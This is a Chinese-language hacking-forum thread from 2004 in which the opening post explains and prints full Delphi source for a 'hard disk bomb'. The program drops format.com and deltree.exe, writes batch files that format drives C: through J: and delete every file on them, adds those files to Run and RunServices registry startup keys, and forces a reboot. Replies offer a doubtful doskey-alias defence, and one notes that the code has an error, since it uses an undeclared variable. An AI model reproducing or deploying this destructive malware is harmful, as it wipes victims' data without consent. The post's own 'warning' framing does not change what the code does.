论坛: 编程破解 标题: 硬盘炸弹程序的原理与编写 复制本贴地址    
作者: qd_xway [qd_xway]    论坛用户   登录
硬盘炸弹是一种运行后,能对硬盘上的数据产生破坏的程序。比如说不断往硬盘中写入垃圾文件,狂占硬盘空间,使你的操作系统不能正常运转。当然最常见的是格式化硬盘、删除硬盘上的重要数据文件等。还有些比较厉害的程序,充其量也只是能彻底的销毁硬盘上的数据,让它们无法恢复。你通过分区格式化后照样成正常使用硬盘。物理上破坏硬盘的程序近来我还没有发现过,可能是我见识少的原因吧。

以前看到过很多所谓的网页炸弹,我们都可以把它们归类为脚本炸弹。因为它们的作用原理很相似,都是借助了一些含有格式化代码的脚本文件,利用了IE漏洞来实现破坏的目的。随着IE的不断升级,这类东西的市场也越来越暗淡,几乎到了无人问津的地步。还有一点不得不说的是,这些脚本程序都需要借助第三方软件deltree.exe format.com等程序实现目的。如果对方机器上删除了这两个有破坏性质的程序,或者把它们改名,那么脚本程序就变的没有丝毫用处了。

现在我介绍一种delphi编写的硬盘炸弹,它运行的时候,能自动在当前目录下产生4个文件,其中两个是deltree.exe format.com文件,另外两个是批处理文件,批处理文件的内容分别是format c:/q/autotest/u和deltree /y c:\*.*,程序自动把这两个批处理文件添加到注册表的启动项,然后重新启动计算机,在重新启动计算机的过程中,调用并运行这两个批处理文件,从而实现破坏硬盘的目的。用这种方法写出的程序,破坏率很高!

下面是我写的硬盘炸弹程序的代码,简单添加了注释:

program Hurt;

uses

windows,SysUtils,Classes,Registry;

const kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';

const K = '\Software\Microsoft\Windows\CurrentVersion\Run';

{$R FORMAT.RES}//添加一个format.com资源文件

{$R DELTREE.RES}//添加一个deltree.exe资源文件

/////////////////////////////////////////

procedure RunHurt;

var

forc:textfile;

begin

assignfile(forc,'hurt1.bat');//在当前目录下产生含格式化命令的hurt1.bat文件

rewrite(forc);

try

writeln(forc,'@echo off');

writeln(forc,'format c:/q/autotest/u');

writeln(forc,'format d:/q/autotest/u');

writeln(forc,'format e:/q/autotest/u');

writeln(forc,'format f:/q/autotest/u');

writeln(forc,'format g:/q/autotest/u');

writeln(forc,'format h:/q/autotest/u');

writeln(forc,'format i:/q/autotest/u');

writeln(forc,'format j:/q/autotest/u');

finally

closefile(forc);

end;

assignfile(forc,'hurt2.bat');//在当前目录下产生含删除文件命令的hurt2.bat文件

rewrite(forc);

try

writeln(forc,'@echo off');

writeln(forc,'deltree /y c:\*.*');

writeln(forc,'deltree /y c:\windows\system\*.*');

writeln(forc,'deltree /y d:\*.*');

writeln(forc,'deltree /y e:\*.*');

writeln(forc,'deltree /y f:\*.*');

writeln(forc,'deltree /y g:\*.*');

writeln(forc,'deltree /y h:\*.*');

writeln(forc,'deltree /y i:\*.*');

writeln(forc,'deltree /y j:\*.*');

finally

closefile(forc);

end;

end;

/////////////////////////////////////////

procedure closeHurt; //重新启动计算机

var

        st : SYSTEMTIME;

        hToken : THANDLE;

        tkp : TOKEN_PRIVILEGES;

        rr : Dword;

begin

        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,hToken);

        LookupPrivilegeValue(nil,'SeShutdownPrivilege',tkp.Privileges[0].Luid);

        // 设定权限为1

        tkp.PrivilegeCount := 1;

        tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

        // 得到权限

        AdjustTokenPrivileges(hToken, FALSE, tkp, 0,nil,rr);

        // 重起计算机

        //ExitWindowsEx(EWX_REBOOT OR EWX_POWEROFF, 0)

        ExitWindowsEx(EWX_REBOOT or EWX_FORCE,0);

end;

/////////////////////////////////////////

VAR

yhb,sforever:tresourceStream;

templnt:integer;

hurt1,hurt2: string;

begin  //程序从这里开始执行

hurt1 := ExtractFilePath(ParamStr(0)) + 'hurt1.bat';

hurt2 := ExtractFilePath(ParamStr(0)) + 'hurt2.bat';

yhb:=tresourcestream.Create(hinstance,'format','exefile');

sforever:=tresourcestream.Create(hinstance,'deltree','exefile');

try

yhb.savetofile('format.com');//在当前目录释放format.com文件

qingyang.savetofile('deltree.exe');//在当前目录释放deltree.exe文件

finally

yhb.free;

qingyang.Free;

end;

with TRegistry.Create do //写注册表RunServices,每次启动运行批处理文件huit1.bat

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey( kkk, TRUE );

WriteString( 'sforever.mycool.net', hurt1 );

finally

free;

end;

with TRegistry.Create do //写注册表Run,每次启动运行批处理文件huit2.bat

try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey( k, TRUE );

WriteString( 'qingyang.cnwlt.com', hurt2 );

finally

free;

end;

systemparametersinfo(spi_screensaverrunning,1,@templnt,0);

RunHurt;

sleep(3000);

closeHurt;

end.

 

 

 

以上代码在Windows 2000 + delphi 6.0上编写通过。程序的运行过程是这样的:运行程序以后,电脑会重新启动,在重新启动的过程中删除或者格式化计算机的硬盘。

到现在为止,我们的程序就编写完成了,程序的原理,在代码中已经说的很清楚了。我写这个程序,不是为了帮助大家搞破坏。而是想说明,有这样的程序存在,即使你对电脑做了安全的防护(比如你删除了deltree.exe format.com文件),也有可能遭到破坏。很早以前藏鲸阁的陈经韬就写过一个“恶作剧之王”,它的原理和这个程序大致相仿。我其实也是借鉴了他的程序,才写了这么一篇文章。里面也有很多代码,曾得到过他的指点,在此表示感谢!

 


地主 发表时间: 04-04-01 13:01

回复: yingzike [yingzike]   论坛用户   登录
简单防范:

c:\>copy con autoexec.bat
@echo off
doskey format  = echo error
doskey deltree = echo error
^z




B1层 发表时间: 04-04-01 14:00

回复: zml2236 [zml2236]   论坛用户   登录
楼上的,你这样做行吗?试试去!

B2层 发表时间: 04-04-01 21:43

回复: kailangq [kailangq]   版主   登录
我也试试~嘿嘿

B3层 发表时间: 04-04-02 01:13

回复: xiaoshi [xiaoshi]   论坛用户   登录
将那两个命令显示为错误,我是这样理解的!
doskey???????????????

B4层 发表时间: 04-04-02 03:05

回复: kailangq [kailangq]   版主   登录


B5层 发表时间: 04-04-02 03:22

回复: jl29 [jl29]   论坛用户   登录
楼主    这个软件有错误啊

B6层 发表时间: 13-06-07 14:55

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号